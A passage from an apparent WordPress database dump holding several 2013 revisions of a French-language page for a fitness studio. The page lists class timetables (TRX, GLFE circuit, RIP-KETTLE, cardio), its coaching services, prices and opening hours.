100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:35:03', '2013-07-03 17:35:03', '', 11, 'http://www.crosstrainingcenter.be/?p=188', 0, 'revision', '', 0),
(190, 1, '2013-07-03 17:38:41', '2013-07-03 17:38:41', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:38:41', '2013-07-03 17:38:41', '', 11, 'http://www.crosstrainingcenter.be/?p=190', 0, 'revision', '', 0);
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(191, 1, '2013-07-03 17:39:35', '2013-07-03 17:39:35', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 25%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours 